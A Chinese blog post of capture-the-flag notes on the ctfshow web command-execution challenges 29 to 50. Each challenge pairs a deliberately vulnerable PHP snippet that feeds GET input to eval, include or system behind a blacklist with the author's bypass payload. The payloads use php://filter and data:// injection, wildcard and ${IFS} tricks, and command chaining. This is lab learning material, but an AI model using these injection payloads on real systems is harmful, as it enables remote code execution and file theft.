CTFshou wed命令执行29~50

已于 2022-10-21 10:35:05 修改
阅读量1.5k 收藏
点赞数
文章标签： php 前端 web安全
于 2022-09-20 00:11:19 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_63676207/article/details/126943420
版权

前言

ctf.shou wed入门：29~124做题笔记：命令执行 29~50

随着做题数量的增加有些内容做一些笔记时非常有必要的，不但可以让自己温故而知新还能督查自己。
每天一点小知识
读取：
{php://filter/read=convert.base64-encode/resource}
php://filter/convert.base64-encode/resource
输入：
{eval include require}
{passthru system}
伪协议：
file=data://text/plain,<?php phpinfo()?>
data协议可以将后面字符啥的变成php代码执行可以在plain后面加个base然后将后面代码改成base加密饶过禁用php字符问题
可以替用但不是100%对滴！
PHP
在短标签的开时候且php字段被禁用可以用 = 或不写来替代
shell
shell：根据 IFS 的值，默认是 space, tab, newline 来拆解读入的变量，
然后对特殊字符进行处理，最后重新组合赋值给该变量
shell :指令>/dev/null 2>&1可以用双写绕过也可用命令分隔符**||**截断
{
cmd1 | cmd2 只显示cmd2结果
cmd1 ; cmd2 无论cmd1是否成功执行，都执行cmd2
cmd1 || cmd2 cmd1执行失败时才执行cmd2
cmd1 && cmd2 cmd1执行成功时才执行cmd2
}
linux
nl指令 nl命令在linux系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号！其默认的结果与 cat -n 有点不太一样， nl 可以将行号做比较多的显示设计，包括位数与是否自动补齐 0 等等的功能。

提示：以下是本篇文章正文内容，由于本人巨菜下面案例仅供参考

一、开始

29.web29

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这是一个简单的过滤 flag 字符，我们先 ls 打开后发现 flag
在这里插入图片描述
我们使用匹配符进行饶过url/?c=system(“cat f*”);查看F12源代码
在这里插入图片描述

30.wed30

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这个依旧是个过滤不过 system 我们不能用了到我们可以在网上找到许多替代的如 c=passthru(‘tac f*’);passthru来替代system 用f*来匹配flag
在这里插入图片描述
其实·我们还可以用 url/?c=‘cp fla?.??? 1.txt’;？是占位符可以表示flag的后缀，用cp 来将flag复制到1.txt中然后再打开1.txt

31.wed31

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这个也是过滤不过这个过滤更多了可以使用嵌套它是对$c的过滤于是我们可以url/?c=eval(“&_GET[1]”);对c进行替换然后&1=system(“cat flag.php”);然后查看源代码在这里插入图片描述

32.wed32

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这个禁用的有点小多但还是可以借用上个思路的但是eval()不行了需要换一个include()两者区别

/*file_get_contents() 函数是用于将文件的内容读入到一个字符串中，eval()可以执行这个语句。
include() 语句包含并运行指定文件。引用文件的时候最好用include包含进去*/

即url/?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php将flag转成base64进行输出 注 禁用 ；但php最后一行不用；即;可以用 ?>代替
在这里插入图片描述

33.wed33

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这个题完全可以用上个题白兰但咸鱼也是有追求的我用其他的试试c=require%0a$_GET[1]>%3E&1=php://filter/read=convert.base64-encode/resource=flag.php
在这里插入图片描述base64解码即可

34.wed34

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这题和前面的一样一个姿势具续躺
url/?c=include&_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

35.wed35

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这题和前面的一样一个姿势具续躺
url/?c=include&_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

36.wed36

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这题和前面的一样一个姿势具续躺不过由于吧数字禁用了将其改成字母就行
url/?c=include&_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

37.wed37

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

这题有与下面那个include($c)使得上面的方法不能用了，推测考点可能是伪协议用data协议进行测试 url/?c=data://text/plan,<?php system(“tac f*”); f* 是由flag被禁用so用f*进行匹配
在这里插入图片描述

38.wed38

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

这个题与上面那个差不多也是伪协议但这个吧php禁用了导致 data://text/plan,<?**php** ?>不能用了但是我们可以用一个等号来代替 url/?c=data://text/plan,<?=system("tac f*")?>
在这里插入图片描述
这是短标签的用法但如果人家没有开就不能用这种做法
另一种就是通过data协议将将其改写成base来绕过
在这里插入图片描述

data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/PiA=

39.wed39

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

这个题和上面的一样不过多个 .php 但前面那个语句已经完结所以不影响url/?c=data://text/plan,<?php system(“tac f*”);这个姿势的帅气
在这里插入图片描述

40.wed40



<?php

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\（|\）|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

这题禁用的嘎嘎多甚至$都不能用了，我也是看了很多大佬的解析才略微看懂总之就是无参函数然后吧flag一点一点调用出来（从里到外看比较好）
方法：hint
url/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

localeconv() 函数返回一包含本地数字及货币格式信息的数组。

pos函数返回数组中当前元素（指针指向）的值

scandir函数返回指定目录中的文件和数组

array_reverse将数组倒序输出

next将指针指向数组的下一个元素并输出

show_source对文件进行语法高亮显示，是highlight_file()别名
得出flag 还有一种是通过koinlk
在这里插入图片描述

法2：通过查看文件并更该post的值来得出flag具体请点击此链接查看大佬的解析

41.wed41

明人不说暗话这题不会，看了很久WP依旧不会春春废物

42.wed42

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

shell :指令>/dev/null 2>&1将返回值都丢了就是无返回值，但这题可以采用双写绕过url/?c=ls;ls
在这里插入图片描述
即得出flag url/?c=tac flag.php;ls
在这里插入图片描述

可以看一下大佬的解释

43.wed43

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这个禁用了cat 但是禁用cat关我tac什么事呢！有个 ; 又如何咱有换行符%0a
url/?c=tac flag.php%0als
在这里插入图片描述

44.wed44

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这个和前面那差距不大只需结合前面过滤的题 url/?c=tac f*%0als即可得出flag
在这里插入图片描述

45.wed45

 <?phh
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

此题可以用上一个姿势过但是空格和 ；被禁用只能另寻蹊径采用
shell{cmd1 && cmd2 cmd1执行成功时才执行cmd2}来代替分号空格符可以查询ascii来找可以替代的
在这里插入图片描述
Tab键不就是空格吗即url/?c=cheo%09f*%26%26ls 注在url中要将&&转换成url编码
得出flag在这里插入图片描述
此题还可用
shell：IFS 的值，默认是 space, tab, newline 来拆解读入的变量，
然后对特殊字符进行处理，最后重新组合赋值给该变量
来进行替换 url/?c=cheo${IFS}f*%26%26ls

46.wed46

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

人生如果不白兰那还能怎末滴！无非多禁用几个字符罢了能咋地
url/?c=tac%09f???%26%26ls还是这个姿势禁用的就用？让其匹配吧在这里插入图片描述
flag的命运一直在手里嘿嘿

47.wed47

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

禁用的很多不过又想啥都没禁用url/?c=tac%09f???%26%26ls一个姿势甚至不用修改
在这里插入图片描述

48.wed48

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

看着禁用了%其实还能用因为%26 %09 是url的编码算是识别吧与禁用的%无关
url/?c=tac%09f???%26%26ls一个姿势接着过
在这里插入图片描述

49.wed49

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

此题无非就是多🈲个TAB不让用而已完全可以用 < 替代啊
姿势诞生url/?c=tac<fla’'g.php||
在这里插入图片描述

50.wed50

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这个题可以用 linux nl指令＋ shell指令
url/?c=nl<>fla’'g.php|| 得出1查看源代码得出flag
在这里插入图片描述

每天一练！！！明天再战！！！
（前面的爆破信息搜集周天补齐）（同时感谢师傅们的文章对我受益很大）

k5ha
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
java数据库连接-javawed
10-31
java后端，用德鲁伊连接数据库
仿小米商城wed练习HTML+css
05-15
在本项目中，"仿小米商城web练习HTML+css"是一个学习Web开发的实践案例，主要涉及HTML和CSS这两种前端核心技术。这个项目旨在帮助初学者理解网页布局、元素设计以及如何构建一个类似小米商城的电商网站界面。...
CTFSHOW做题记录
weixin_45990644的博客
03-30 527
CTFSHOW做题记录 ** CTFSHOW做题记录1 ** （菜菜的我要写日记啦，欢迎大佬指导） ** 密码学签到1 给出“}wohs.ftc{galf”并且提示倒叙。 ** 解题思路： 没看提示的时候乍一看以为是栅栏密码，还想着用在线解密去做，但是定睛一看不对劲，再看题目原来就是倒叙。只需要反着来就好啦。 ** 答案： flag{ctf.show} ** 今天也是元气满满的一天，好好学习。 ...
ctf.show入门
jinianhuo的博客
01-23 122
ctf.show入门Web题目入门1.Web签到题目新的改变功能快捷键合理的创建标题，有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能，丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 Web题目入门 1.Web签到题目 生成实例，跳转到网页，按F12查看源代码，如下图所示。 盲猜可能是某种加密文字，根据
CTFShow-WEB入门篇命令执行详细Wp(29-40)_ctfshow-web入门篇详细wp(1)
最新发布
2301_82056337的博客
05-07 1041
Python编程学习，学习内容包含：语法、正则、文件、 网络、多线程等常用库，推荐《Python核心编程》，不要看完；在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。恭喜你，如果学到这里，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web 渗透、安全服务、安全分析等岗位；③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察。
【CTFshow】命令执行web29-web54
weixin_51614272的博客
02-23 2514
web29 源码 if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } eval函数，把GET方法获取的变量c内容，当做命令去执行 过滤了flag关键字，不区分大小写 构造payload： ?c=system("tac fla?.php"); ?c=system("t
ctfshow web入门命令执行部分（更新至56）
L1ni01
10-16 3118
ctfshow web 入门 命令执行部分 web29 源码 <?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } payload：c=system('cat f*'); 匹配任何字符串／文本，包括空字符串；
CTFshow——web入门——php特性(下篇)
h_adam的博客
02-06 5647
web入门——php特性web123web125web126 web123 题目 <?php error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g']))
Wed前端开发-Vue期末满分大作业
06-18
Vue期末考核满分大作业，该作业中包含的功能有切换天气，姓名案例，添加或删除风险地区的名称并以无序列表显示，以表单的形式添加或删除新冠感染者的基本信息并显示等，各部分功能在不同的盒子中，可以分离出来作为...
linux定时执行,crontab命令使用介绍借鉴.pdf
11-28
Linux 定时执行 Crontab 命令使用介绍借鉴 Linux 系统中的 Crontab 命令是一个非常有用的工具，用于在指定的时间执行某个任务或命令。Crontab 命令是基于 Cron 服务的，它可以让用户在指定的时间执行某个任务，例如...
小榕sql注入分析工具wed+wis
06-06
5. WED.exe：这应该是"Web智能扫描"的可执行程序，用于进行基础的Web应用程序扫描。 6. admin.txt：可能包含默认的管理员账户信息或者扫描结果的记录，方便用户查看和管理。 7. 示范.txt：这可能是一个示例文件，...
ctfshow web入门 序列化
Lumos427的博客
02-25 1383
序列化和反序列化 web254 <?php error_reporting(0); highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this-&gt
10.27-这个真的是爆破
weixin_43460822的博客
10-27 355
题目内容： <?php error_reporting(0); session_start(); require('./flag.php'); if(!isset($_SESSION['nums'])){ $_SESSION['nums'] = 0; $_SESSION['time'] = time(); $_SESSION['whoami'] = 'ea'; } if($...
ctfshow web入门 命令执行
qq_50589021的博客
10-07 2733
命令执行 web29 <?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } ?> 考点： 绕过特殊字符的过滤 payload： ?c=system('ls');//flag.php index.php ?
1.30 刷题
Lumos427的博客
01-30 689
ctfshow web入门 命令执行 web37 //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); } 这里用了include文件包含，代码不能直接执行
2024年网络安全山东省赛-SMB信息收集解析（中职组）_使用访问工具对服务器服务访问,将服务器中管理员桌面的文本文档里的内容作为 flag
2401_84252281的博客
04-26 745
任务环境说明：服务器场景：Server1。
CTFshow_命令执行
qq_45927819的博客
11-20 1253
文章目录web29 web29 error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } 过滤了flag get方式传参： ?c=system(ls); 发现flag.php 直接查看就行： ?c=system('cat ')
CTFshow web入门 web41~web55 命令执行
qq_56815564的博客
04-15 1414
这回是真正意义上的禁用了这些命令了，以前还能通过中间添加一些特殊符号来绕过的，现在是完全不能使用了，毕竟 . 后面跟上一个通配符后，就完全不能在中间加点什么了。简单分析一下，if中的语句第一个是输出GET传入的参数、第二个是执行c的语句后得到的东西赋值给d、第三个是换行后在输出d的内容。但是留下了一个一个或运算符（ | ）空格不能用可以使用tab键代替，url编码是%09，反正tab是最多是4个空格，多几个空格也不会怎样。说到底，这么多能有回显的函数，也不差cat这一个，形式有这么多，也不差分号这一个。
CTF做题经历
weixin_51563603的博客
10-07 2243
写这个文章呢就是想记录一下我做过且有价值的CTF题目，并且把他们分享出来，希望能对你们也有一点帮助，（当然因为我是新手所以题目可能有点简单，大家见谅） 国庆小游戏 介绍：这个是我们学校非常牛逼的一个社团国庆的时候发布的一个小游戏，里面有许多比较有意思的CTF题目，接下去就开始看经历吧 my_admin 第一题是签到题，直接F12打开源代码查看用户名和密码就可以了，不多讲 HappyGit1 这个就需要一点git和github的基础了，题干说在GitHub上有flag，猜想在GitHub的提交历史里。 首先
Wed May 31 21:33:50 CST 2023
06-01
"Wed May 31 21:33:50 CST 2023" 表示2023年5月31日 21时33分50秒，时区为中国标准时间（CST）。这是一个字符串，如果需要将其转换为Java的日期对象，可以使用SimpleDateFormat类等进行解析。例如，下面是将该字符串...
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值